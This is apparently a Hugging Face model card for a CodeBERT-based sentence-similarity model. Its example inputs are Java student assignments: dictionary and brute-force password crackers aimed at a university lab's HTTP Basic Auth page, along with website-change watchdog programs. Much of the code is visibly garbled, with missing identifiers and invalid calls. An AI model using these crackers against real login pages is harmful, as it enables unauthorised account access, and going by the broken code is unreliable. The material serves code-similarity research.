buelfhood's picture
Add new SentenceTransformer model
f55a58c verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:33411
  - loss:BatchAllTripletLoss
base_model: microsoft/codebert-base
widget:
  - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary \n{\n  String uname = \"\";\n  String pword = \"null\";\n  Vector v = new Vector();\n   int runTime;\n  public void doConnect(String connect, int num)\n  {\n    String  = connect;\n    \n    try\n     {\n       URL secureSite = new URL();\n       URLConnection connection = secureSite.openConnection();\n       if (uname != null || pword != null)\n\t  {\n\t   \n\t    for(int i=num; i<v.size(); i++)\n\t    {\n\t      pword = (String)v.elementAt(i);\n\t      String up = uname + \":\" + pword;\n            String encoding;\n            try\n\t\t{\n\t\t  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t  encoding = encoder.encode (up.getBytes());\n\t\t \n           }\n\t     catch (Exception ex) \n            {\n\t\t  Base64Converter encoder = new Base64Converter();\n\t\t  System.out.println(\"in catch\");\n              encoding = encoder.encode(up.getBytes());\n           }\n\t     connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n           connection.connect();\n           if(connection instanceof HttpURLConnection)\n\t     {\n\t       HttpURLConnection httpCon=(HttpURLConnection)connection;\n             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\t\t  {\n\t\t   System.out.println(\"Not authorized - check  for details\" + \" -Incorrect Password : \" + pword);\n\t         doConnect(i, i+1);\n\t       }\n\t\telse\n\t\t { \n\t\t  System.out.println(\"\\n\\n\\nPassword for HTTP Secure Site by Dictionary Attack:\");\n\t        System.out.println( +\"\\tPassword : \"+ pword);\n\n              runTime = System.currentTimeMillis() - runTime; \n              System.out.println(\"Time taken  crack password (in seconds)\"+\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken  crack password : \"+ i);\n\t        System.exit(0);\n\t      }\n\t    }\n\t  }\n      }\n    }\n    catch(Exception ex)\n    {\n      ex.printStackTrace();\n    }\n  }\n  public Vector getPassword()\n  {\n    try\n    {\n      ReadFile  rf = new ReadFile();\n      rf.loadFile();\n      v = rf.getVector();\n    }\n    catch(Exception ex)\n    {\n      ex.printStackTrace();\n    }\n    return v;\n  } \n  public void setTimeTaken( int timetaken)\n  {\n    runTime = timetaken;\n  }   \n  public static void main ( String args[] ) throws IOException \n  {\n    \n     runTime1 = System.currentTimeMillis();     \n    Dictionary newDo = new Dictionary();\n    newDo.setTimeTaken(runTime1);\n    newDo. getPassword();\n    String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n    newDo.doConnect(site, 0);\n    \n  }  \n  \n}\n\nclass  Base64Converter\n      {\n  \n          public final char [ ]  alphabet = {\n              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   \n              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   \n              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   \n              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   \n              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   \n              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   \n              'w', 'x', 'y', 'z', '0', '1', '2', '3',   \n              '4', '5', '6', '7', '8', '9', '+', '/' }; \n  \n  \n          public String  encode ( String  s )\n          {\n              return encode ( s.getBytes ( ) );\n          }\n  \n          public String  encode ( byte [ ]  octetString )\n          {\n              int  bits24;\n              int  bits6;\n  \n              char [ ]  out\n                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n  \n              int outIndex = 0;\n              int i        = 0;\n  \n              while ( ( i + 3 ) <= octetString.length ) {\n                  \n                  bits24=( octetString [ i++ ] & 0xFF ) << 16;\n                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n  \n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0000003F );\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n              }\n  \n              if ( octetString.length - i == 2 )\n              {\n                  \n                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;\n                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n  \n                  \n                  out [ outIndex++ ] = '=';\n              }\n              else if ( octetString.length - i == 1 )\n              {\n                  \n                  bits24 = ( octetString [ i ] & 0xFF ) << 16;\n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n  \n                  \n                  out [ outIndex++ ] = '=';\n                  out [ outIndex++ ] = '=';\n              }\n  \n              return new String ( out );\n          }\n       }\n  \n  \n"
    sentences:
      - |



        import java.io.*;
        import java.util.*;
        import java.*;
        import java.net.*;

        public class WatchDog
        {

           static Process p = null;
           static Process qproc = null;

           static BufferedReader bf = null;
           static StringTokenizer tok = null;

           static String Path = null;
           static String str = null;
           static String urlStr=null;
           static boolean changed = false;

           static File indexfile = new File("index.html");
           static File tmpfile = new File("tmpindex.html");
           static File mdfile = new File("md5file.txt");
           static File tmpmdfile = new File("tmpmd5file.txt");
           static PrintWriter mailwriter = null;


           public static void main (String[] args) 
           {

              urlStr = "http://www.cs.rmit.edu./";

              try
              {
                 
                 mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

                 getLatest(urlStr);
                 parseFile(); 

                 mailwriter.read();

                 if(changed)
                 {
                    System.out.println("Sending Mail");
                    p = Runtime.getRuntime().exec("./mailscript");
                    p.waitFor();

                 }
                 else
                    System.out.println(" mail sent");

              }  catch (IOException ioe)
                 {
                    System.out.println("IOException");
                    ioe.printStackTrace();
                 }
                 catch (InterruptedException intex)
                 {
                    System.out.println("Interrupted Exception");
                    intex.printStackTrace();
                 }


           }


           static void getLatest(String urlStr)
           { 
              
              URL url = null;
              
              try
              {
                 url = new URL(urlStr);

              } catch (MalformedURLException mfurl)
                {
                   System.out.println("Malformed URL");
                   mfurl.printStackTrace();
                }

              try
              {
                 mailwriter.println();

                 p = Runtime.getRuntime().exec("/usr//pwd"); 
                 p.waitFor();
                 bf= new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));

                 Path=bf.readLine();

                 if (indexfile.exists())
                 {
                    mailwriter.println("File with name 'index.html' found in directory.");
                    mailwriter.println("Renaming existing 'index.html'  'tmpindex.html...");
                    p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
                    p.waitFor();
                    p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
                    mailwriter.println();
                    mailwriter.println("File with name 'md5file.txt' found in directory.");
                    mailwriter.print("Renaming existing 'md5file.txt'  'tmpmd5file.txt...");

                    mailwriter.println(".");

                    mailwriter.println();
                 }

                 mailwriter.println("Downloading current version of site - " + urlStr);
                 p = Runtime.getRuntime().exec("/usr/local//wget "+url);
                 p.waitFor();
                 if (!tmpfile.exists())
                 {
                    mailwriter.println("File - " + urlStr + "index.html saved  disk for the first time.");
                 }


              } catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (IndexOutOfBoundsException iobe)
                {
                   System.out.println("Index Out Of Bounds Exception");
                   iobe.printStackTrace();
                }
                catch (Exception e)
                {
                   System.out.println("Exception");
                   e.printStackTrace();
                }
           }

           static void parseFile()
           {

              Vector imgVect = new Vector();

              try
              {
                 p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
                 p.waitFor();
                bf = new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));

                 while((str=bf.readLine())!=null)
                 {
                    bf = new StringTokenizer(str, "\"", false);
                  
                    while(bf.hasMoreTokens())
                    {
                       str=bf.nextToken();
                       if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                          imgVect.addElement(str);
                    }
                   
                 }

              }catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (Exception e)
                {
                   System.out.println("Exception");
                   e.printStackTrace();
                }

                mailwriter.println("Creating file with md5sums of the webpage and images...");
                md5Create(imgVect);

           }

           static void md5Create(Vector imgVect)
           {
              String tmpString = null;
              Vector imgNames = new Vector();

              try
              {
                 PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
         
                 p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
                 p.waitFor();
                 bf= new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));
                 pr.println(bf.readLine());
           
                 for(int i=0; i<imgVect.size();i++)
                 {
                    imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
                    imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

                    p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
                    p.waitFor();
                    bf= new BufferedReader(new InputStreamReader(
                                  p.getInputStream()));
                    pr.println(bf.readLine());
                    rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
                 }
                 pr.get();

              }  catch (IOException ioe)
                 {
                    System.out.println("IOException");
                    ioe.printStackTrace();
                 }
                 catch (InterruptedException intex)
                 {
                    System.out.println("Interrupted Exception");
                    intex.printStackTrace();
                 }

              if (tmpmdfile.exists())
                 compVersions((imgVect.size())+1);

           }

           static void compVersions(int numlines)
           {

              int tmp = 0;
              int x = 0;
              String[] md5A = new String[numlines];
              Vector tmpmd5V = new Vector(); 
                                             
                                             
              String[] tmpmd5A = null;
              StringTokenizer stoken  = null;
              String mdImgName = null;
              String mdImgVal = null;
              String tmpImgName = null;
              String tmpImgVal = null;

              try
              {

                 bf = new BufferedReader(new FileReader(mdfile));

                 while((str = bf.readLine()) != null)
                 {
                    md5A[tmp]=str;
                    tmp++;
                 }

                 bf = new BufferedReader(new FileReader(tmpmdfile));
                 tmp=0;

                 while ((str = bf.readLine()) !=null)
                 {
                    tmpmd5V.addElement(str);
                    tmp++;
                 }

                 tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

                 if (tmpmd5A[0].compareTo(md5A[0]) != 0)
                 {
                    mailwriter.println("---The file index.html has changed.---");
                    mailwriter.println("-Diff of old and new -");
                    changed=true;
                    mailwriter.println();
                    p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
                    p.waitFor();
                     bf= new BufferedReader(new InputStreamReader(p.getInputStream()));

                    while ((str = bf.readLine()) != null)
                       mailwriter.println(str);

                 }
                 else
                 {
                    mailwriter.println("The file index.html hasn't changed.");
                    mailwriter.println();
                 }

                 mailwriter.println();
                 mailwriter.println("Changes  Images");
                 mailwriter.println("-----------------");


                 

                 for (tmp=1; tmp<md5A.length; tmp++) 
                 {
                    stoken = new StringTokenizer(md5A[tmp]);
                    mdImgVal = stoken.nextToken();
                    mdImgName = stoken.nextToken();
                    for (x=1; x<tmpmd5A.length; x++)
                    {
                       stoken = new StringTokenizer(tmpmd5A[x]);
                       tmpImgVal = stoken.nextToken();
                       tmpImgName = stoken.nextToken();

                       if (mdImgName.compareTo(tmpImgName) == 0)
                       {
                          if(mdImgVal.compareTo(tmpImgVal) == 0)
                          {
                             
                             break;
                          }
                          else
                          {
                             mailwriter.println("The image "+mdImgName+" has changed.");
                             changed=true;
                             break;
                          }
                       }
                       if (x == ((tmpmd5A.length)-1))
                       {
                          mailwriter.println("The image "+mdImgName+" is  new  this ");
                          changed=true;
                       }
                    }
                 }

                 for (tmp=1; tmp<tmpmd5A.length; tmp++) 
                 {
                    stoken = new StringTokenizer(tmpmd5A[tmp]);
                    tmpImgVal = stoken.nextToken();
                    tmpImgName = stoken.nextToken();
                    for (x=1; x<md5A.length; x++)
                    {
                       stoken = new StringTokenizer(md5A[x]);
                       mdImgVal = stoken.nextToken();
                       mdImgName = stoken.nextToken();
                       if (tmpImgName.compareTo(mdImgName) == 0)
                       {
                          break;
                       }
                       if (x == ((md5A.length)-1))
                       {
                          mailwriter.println("The image "+tmpImgName+" is   longer  the ");
                          changed=true;
                       }
                    }
                 }


              } catch(IOException ioe)
                 {System.out.println("IOException");
                  ioe.printStackTrace();
                 }
                catch(InterruptedException iex)
                 {System.out.println("Interrupted Exception");
                 iex.printStackTrace();
                 }

           }


           static Object getFullPath(String fname)
           {
              

              if(fname.charAt(0)== '/') 
                 fname=urlStr+fname;  
              else if(fname.charAt(0) != 'h')
                 fname=urlStr+'/'+fname;

              getImgFile(fname);

              return (Object)fname; 
           }

           static void getImgFile(String fullPath)
           {
              

              try
              {
                 qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
                 qproc.waitFor();

              } catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (InterruptedException intex)
                {
                   System.out.println("Interrupted Exception");
                   intex.printStackTrace();
                }
           }

           static void rmImgFile(String delpath)
           {
              

              try
              {
                 qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
                 qproc.waitFor();

              } catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (InterruptedException intex)
                {
                   System.out.println("Interrupted Exception");
                   intex.printStackTrace();
                }
           
           }

           static Object getImgNames(String prsName)
           {
                  
          
              String str = new StringTokenizer(prsName, "/", false);

              while(str.hasMoreTokens())
              {
                 str=bgf.nextToken();
                 if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                    prsName=str;
              }
              return (Object)prsName;
           }
        }
      - |+
        import java.io.*;
        import java.text.*;
        import java.util.*;
        import java.net.*;

        public class WatchDog
        {
           private String address;
           private UnixMailing email;

           private int step = 0;
           private String buffer = "";

           public static void main(String [] args)
           {
              if (args.length < 2)
              {
                 System.err.println("Invalid usage!");
                 System.err.println("Usage: java WatchDog <url> <email>");
                 System.exit(1);
              }

              String address = args[0];
              String email = args[1];
              WatchDog theProg = new WatchDog(address, email);

              try
              {
                 File currDir = new File(".");
                 File [] list = currDir.listFiles();
                 for (int i = 0; i < list.length; i++)
                 {
                    if (list[i].getName().trim().startsWith("_buffer"))
                       list[i].delete();
                 }
              }
              catch(Exception e) {}

              while (true)
              {
                 theProg.checkPage();
                 try
                 {
                    Thread.sleep();
                 }
                 catch(InterruptedException e ) {}
              }

           }

           public WatchDog(String address, String email)
           {
              this.address = address;
              this.email = new UnixMailing(email);
           }

           public void checkPage()
           {
              try
              {
                 File buffFp = new File("_bufferFile.html");
                 Vector imgs = new Vector();

                 boolean getAgain = false;
                 if (buffFp.exists())
                 {
                    URLConnection conn = (new URL(address)).openConnection();
                    conn.setDoInput(true);
                    conn.connect();
                    DataInputStream inNet = new DataInputStream(conn.getInputStream());

                    System.out.println("Checking file "+address);
                    char i = '\0';
                    char f = '\0';
                    DataInputStream inFile = new DataInputStream(
                                                     new FileInputStream(buffFp));
                    try
                    {
                       int step = 0;
                       while(true)
                       {
                          i = (char)inNet.readByte();
                          f = (char)inFile.readByte();

                          if (i != f)
                          {
                             email.println("  changes in the content of the web: "+address);
                             System.out.println("  changes in the content of the web: "+address);
                             getAgain = true;
                             break;
                          }
                          tokenImages(i, imgs);
                       }
                    }
                    catch(EOFException eofe) {}

                    if (!getAgain)
                    {
                       try
                       {
                          i = (char)inNet.readByte();
                          email.println("  changes in the content of the web: "+address);
                          System.out.println("  changes in the content of the web: "+address);
                          getAgain = true;
                       }
                       catch(EOFException eofe) {}
                       try
                       {
                          f = (char)inFile.readByte();
                          email.println("  changes in the content of the web: "+address);
                          System.out.println("  changes in the content of the web: "+address);
                          getAgain = true;
                       }
                       catch(EOFException eofe) {}
                    }

                    inFile.print();
                    inNet.print();
                 }
                 else
                    getAgain = true;


                 if (getAgain)
                 {
                    getAgain = false;
                    URLConnection conn = (new URL(address)).openConnection();
                    conn.setDoInput(true);
                    conn.connect();
                    DataInputStream inNet = new DataInputStream(conn.getInputStream());

                    System.out.println("Storing file "+address);
                    DataOutputStream outFile = new DataOutputStream(
                                                     new FileOutputStream(buffFp));
                    byte i = 0;
                    try
                    {
                       while(true)
                       {
                          i = inNet.readByte();
                          outFile.writeByte(i);
                          tokenImages((char)i, imgs);
                       }
                    }
                    catch(EOFException eofe) {}

                    outFile.print();
                    inNet.print();
                 }
                 for(int index = 0; index < imgs.size(); index++)
                    checkImage(address, (String)imgs.get(index));
                 email.sent();
              }
              catch(Exception e)
              {
                 e.printStackTrace();
              }
           }


           public void tokenImages(char i, Vector imgs)
           {
              if (step == 1) 
              {
                 if (i == 'i' && buffer.length() <= 0 ||
                     i == 'm' && buffer.equals("i") ||
                     i == 'g' && buffer.equals("im"))
                 {
                    buffer += i;
                    buffer = buffer.toLowerCase();
                 }
                 else
                 {
                    if (Character.isWhitespace(i) && buffer.equals("img"))
                       step = 2;
                    else if (!Character.isWhitespace(i) || buffer.length() > 0)
                       step = 0;
                    buffer = "";
                 }
              }
              else if (step == 2) 
              {
                 if (i == 's' && buffer.length() <= 0 ||
                     i == 'r' && buffer.equals("s") ||
                     i == 'c' && buffer.equals("sr"))
                 {
                    buffer += i;
                    buffer = buffer.toLowerCase();
                 }
                 else
                 {
                    if (Character.isWhitespace(i) && buffer.equals("src"))
                       step = 3;
                    else if (i == '=' && buffer.equals("src"))
                       step = 4;
                    else if (i == '>')
                       step = 0;
                    buffer = "";
                 }
              }
              else if (step == 3) 
              {
                 if (i == '=')
                 {
                    step = 4;
                 }
                 else if (!Character.isWhitespace(i))
                 {
                    if(i == '>')
                       step = 0;
                    else
                       step = 2;
                    buffer = "";
                 }
              }
              else if (step == 4) 
              {
                 if (i == '\"')
                 {
                    step = 5;
                    buffer = "";
                 }
                 else if (!Character.isWhitespace(i))
                 {
                    if(i == '>')
                    {
                       buffer = "";
                       step = 0;
                    }
                    else
                    {
                       buffer = ""+i;
                       step = 6;
                    }

                 }

              }
              else if (step == 5) 
              {
                 if (i == '\"')
                 {
                    if (buffer.trim().length() > 0)
                       imgs.add(buffer);
                    buffer = "";
                    step = 0;
                 }
                 else
                    buffer += i;
              }
              else if (step == 6) 
              {
                 if (Character.isWhitespace(i) || i == '>')
                 {
                    if (buffer.trim().length() > 0)
                       imgs.add(buffer);
                    buffer = "";
                    step = 0;
                 }
                 else
                    buffer += i;
              }
              else if(i == '<')
              {
                 step = 1;
                 buffer = "";
              }
           }

           public void checkImage(String hostUrl, String imageUrl)
           {
              try
              {
                 String fullURL = "";
                 if (imageUrl.startsWith("http"))
                 {
                    fullURL = imageUrl;
                 }
                 else if (imageUrl.startsWith("/"))
                 {
                    fullURL = "http://"+(new URL(hostUrl)).getHost()+imageUrl;
                 }
                 else
                 {
                    String path = (new URL(hostUrl)).getPath();
                    if (!path.endsWith("/"))
                       path = path.substring(0, path.lastIndexOf('/')+1);

                    fullURL = "http://"+(new URL(hostUrl)).getHost()+path+imageUrl;
                 }

                 File buffFp = new File("_buffer"+
                              (new URL(fullURL)).getPath().replaceAll("/", "_"));
                 Vector imgs = new Vector();

                 boolean getAgain = false;
                 if (buffFp.exists())
                 {
                    URLConnection conn = (new URL(fullURL)).openConnection();
                    conn.setDoInput(true);
                    conn.connect();
                    DataInputStream inNet = new DataInputStream(conn.getInputStream());

                    System.out.println("Checking image: "+fullURL);
                    byte i = 0;
                    byte f = 0;
                    DataInputStream inFile = new DataInputStream(
                                                     new FileInputStream(buffFp));
                    try
                    {
                       int step = 0;
                       while(true)
                       {
                          i = inNet.readByte();
                          f = inFile.readByte();

                          if (i != f)
                          {
                             email.println("Image "+fullURL+" has been change!");
                             System.out.println("Image "+fullURL+" has been change!");
                             getAgain = true;
                             break;
                          }
                       }
                    }
                    catch(EOFException eofe) {}

                    if (!getAgain)
                    {
                       try
                       {
                          i = inNet.readByte();
                          email.println("Image "+fullURL+" has been change!");
                          System.out.println("Image "+fullURL+" has been change!");
                          getAgain = true;
                       }
                       catch(EOFException eofe) {}
                       try
                       {
                          f = inFile.readByte();
                          email.println("Image "+fullURL+" has been change!");
                          System.out.println("Image "+fullURL+" has been change!");
                          getAgain = true;
                       }
                       catch(EOFException eofe) {}
                    }

                    inFile.print();
                    inNet.print();
                 }
                 else
                    getAgain = true;

                 if (getAgain)
                 {
                    getAgain = false;
                    URLConnection conn = (new URL(fullURL)).openConnection();
                    conn.setDoInput(true);
                    conn.connect();
                    DataInputStream inNet = new DataInputStream(conn.getInputStream());

                    System.out.println("Storing the image: "+fullURL);
                    DataOutputStream outFile = new DataOutputStream(
                                                     new FileOutputStream(buffFp));
                    byte i = 0;
                    try
                    {
                       while(true)
                       {
                          i = inNet.readByte();
                          outFile.writeByte(i);
                       }
                    }
                    catch(EOFException eofe) {}

                    outFile.print();
                    inNet.print();
                 }
              }
              catch(Exception e)
              {
                 e.printStackTrace();
              }
           }
        }

      - |
        import java.net.*;
        import java.util.*;

        public class BruteForce {

           public static void main(String[] args) {
              new CrackAttempt();
           }
        }

        class CrackAttempt {
           public CrackAttempt() {
              final int MAX_LENGTH = 3;
              boolean auth = false;
              Date  = new Date();
              boolean morePasswords = true;
              int passPtr = 0;
              StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
              char[] password = new char[MAX_LENGTH];

              password[0] = validChars.charAt(0);
              while (!auth && morePasswords) {
                 String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
                 try {
                    
                    Authenticator.setDefault(new CrackAuth(password));
                    URL url = new URL(resource);
                    HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                    conn.setRequestMethod("HEAD");
                    if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                       System.out.println("cracked with " + new String(password));
                       auth = true;
                    }
                 } catch (Exception e) {
                    System.out.println(" was  exception: " + e.getMessage());
                 }
                 int count = passPtr;
                 while (true) {
                    if (password[count] == validChars.charAt(validChars.length() - 1)) {
                       password[count] = validChars.charAt(0);
                       count--;
                    } else {
                       password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
                       break;
                    }
                    if (count < 0) {
                       
                       if (passPtr < MAX_LENGTH - 1) {
                          passPtr++;
                          password[passPtr] = validChars.charAt(0);
                       } else {
                          morePasswords = false;
                       }
                       break;
                    }
                 }
                 
              } 
              if (!auth) {
                 System.out.println("Unable  determine password");
              } else {
                  time = (new Date()).getTime() - start.getTime();
                 System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
              }
           }
        }

        class CrackAuth extends Authenticator {
           char[] password;
           public CrackAuth(char[] password) {
              this.password = password;
           }

           protected PasswordAuthentication getPasswordAuthentication()
           {
              String user = "";
              return new PasswordAuthentication(user, password);
           }
        }
  - source_sentence: |
      import java.io.*;
      import java.net.*;











      public class Dictionary
      {
         private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
         private static String password;
         private static int length;          
         private static int t_counter;       
         private static int f_counter;       
                                             
         private static int respCode;        
         private static BufferedReader buf;  

         public Dictionary()
         {
            FileReader fRead;
            Authenticator.setDefault(new DictionaryAuthenticator());
            t_counter = 0;
            f_counter = 0;
            length = 0;

            try
            {
               fRead = new FileReader("/usr/share/lib/dict/words");
               buf = new BufferedReader(fRead);
            }
            catch (FileNotFoundException e)
            {
               System.out.println("File not found");
            }
         }

         public static void main(String[] args)
         {
            Dictionary dict = new Dictionary();
            String file = " ";
            while(respCode != 200 )
            {
               file = dict.fetchURL();
            }
            System.out.println("Number of attempts: " + t_counter);
            System.out.println("Password: " + password);
            System.out.println(file);
         }

         private String fetchURL()
         {
            StringWriter sw = new StringWriter();
            PrintWriter pw = new PrintWriter();

            try
            {
               URL url = new URL(urlString);
               HttpURLConnection huc = (HttpURLConnection)url.openConnection();
               respCode = huc.getResponseCode();
               InputStream content = huc.getInputStream();
               BufferedReader in = 
                  new BufferedReader (new InputStreamReader (content));
               String line;
               while ((line = in.readLine()) != null) 
               {
                  pw.println(line);
               }
            } catch (IOException e) {
               pw.println("Error  URL");
            }
            return sw.toString();
         }
                  
         class DictionaryAuthenticator extends Authenticator 
         {
            private String username = "";

            protected PasswordAuthentication getPasswordAuthentication()
            {
               return new PasswordAuthentication(username,generatePassword());
            }

            protected char[] generatePassword()
            {
               String word = null;
               int chars;
               char c[] = null;
       
               chars = 0;
             
               if(f_counter == 0) 
               
               
               { 
                  try
                  {
                     
                     {
                        word = buf.readLine();
                        if(word != null)
                        {
                           length = word.length();
                           chars = 0;
                           for(int i=0; i<length; i++)
                           {
                              if(Character.isLetter(word.charAt(i))) chars++;
                           }
                        }
                     }
                     while( word != null && (length > 3 || chars != length));

                  }
                  catch (IOException ioe)
                  {
                     System.out.println("IO Error: " + ioe);
                  }

                  if(word != null)
                  {
                     c = word.toCharArray(); 
                     password = new String(c);
                  } 
                  else
                  {
                     System.out.println(" more words in dictionary");
                     System.exit(0);
                  }

                  f_counter++;
               } 
               else
               
               {
                  c = password.toCharArray(); 
                  for(int i=0; i< length; i++)
                  {
                     if(Character.isLowerCase(c[i]))
                     {
                        c[i] = Character.toUpperCase(c[i]);
                     }
                     else
                     {
                        c[i] = Character.toLowerCase(c[i]);
                     }
                  }
                  password = new String(c);
                  f_counter = 0;
               }

               t_counter++;

               return c;
            }
         }
      }
    sentences:
      - "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper() {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"/dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"
      - |+


        import java.io.*;
        import java.text.*;
        import java.util.*;
        import java.net.*;

        public class BruteForce extends Thread
        {
           private static final String USERNAME = "";
           private static final char [] POSSIBLE_CHAR =
                {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
                 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
                 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
                 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
           private static int NUMBER_OF_THREAD = 500;

           private static Date startDate = null;
           private static Date endDate = null;

           private String address;
           private String password;

           public BruteForce(String address, String password)
           {
              this.address = address;
              this.password = password;
           }

           public static void main(String[] args) throws IOException
           {
              if (args.length < 1)
              {
                 System.err.println("Invalid usage!");
                 System.err.println("Usage: java BruteForce <url>");
                 System.exit(1);
              }

              try
              {
                 brute(args[0], USERNAME);
              }
              catch(Exception e)
              {
                 e.printStackTrace();
                 System.exit(1);
              }
           }

           public static void brute(String address, String user)
           {
              BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
              int index = 0;

              startDate = new Date();
              for(int i = 0; i < POSSIBLE_CHAR.length; i++)
              {
                 for(int j = 0; j < POSSIBLE_CHAR.length; j++)
                 {
                    for(int k = 0; k < POSSIBLE_CHAR.length; k++)
                    {
                       String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
                                         POSSIBLE_CHAR[k];

                       if (threads[index] != null && threads[index].isAlive())
                       {
                          try
                          {
                             threads[index].join();
                          }
                          catch(InterruptedException e ) {}
                       }
                       threads[index] = new BruteForce(address, password);
                       threads[index].get();

                       index = (index++) % threads.length;
                    }
                 }
              }
           }

           public void run()
           {
              if (endDate != null)
                 return;

              try
              {

                 URLConnection conn = (new URL(address)).openConnection();
                 conn.setDoInput(true);

                 if (login(conn, USERNAME, password))
                 {
                    endDate = new Date();
                    System.out.println("Found the password: \""+password+"\"!");
                    SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
                    System.out.println("Process started at: "+format.format(startDate));
                    System.out.println("Process started at: "+format.format(endDate));
                    double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
                    System.out.println("Time taken: "+timeTaken+" minutes");
                    System.exit(0);
                 }
                 else
                 {
                    System.out.println("Password: \""+password+"\" Failed!");
                    return;
                 }
              }
              catch(Exception e)
              {
                 e.printStackTrace();
              }

           }

           public static boolean login(URLConnection conn, String user, String pass)
           {
              try
              {
                 String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
                 conn.setRequestProperty ("Authorization", encodeAuth);
                 conn.connect();
                 conn.getInputStream();
              }
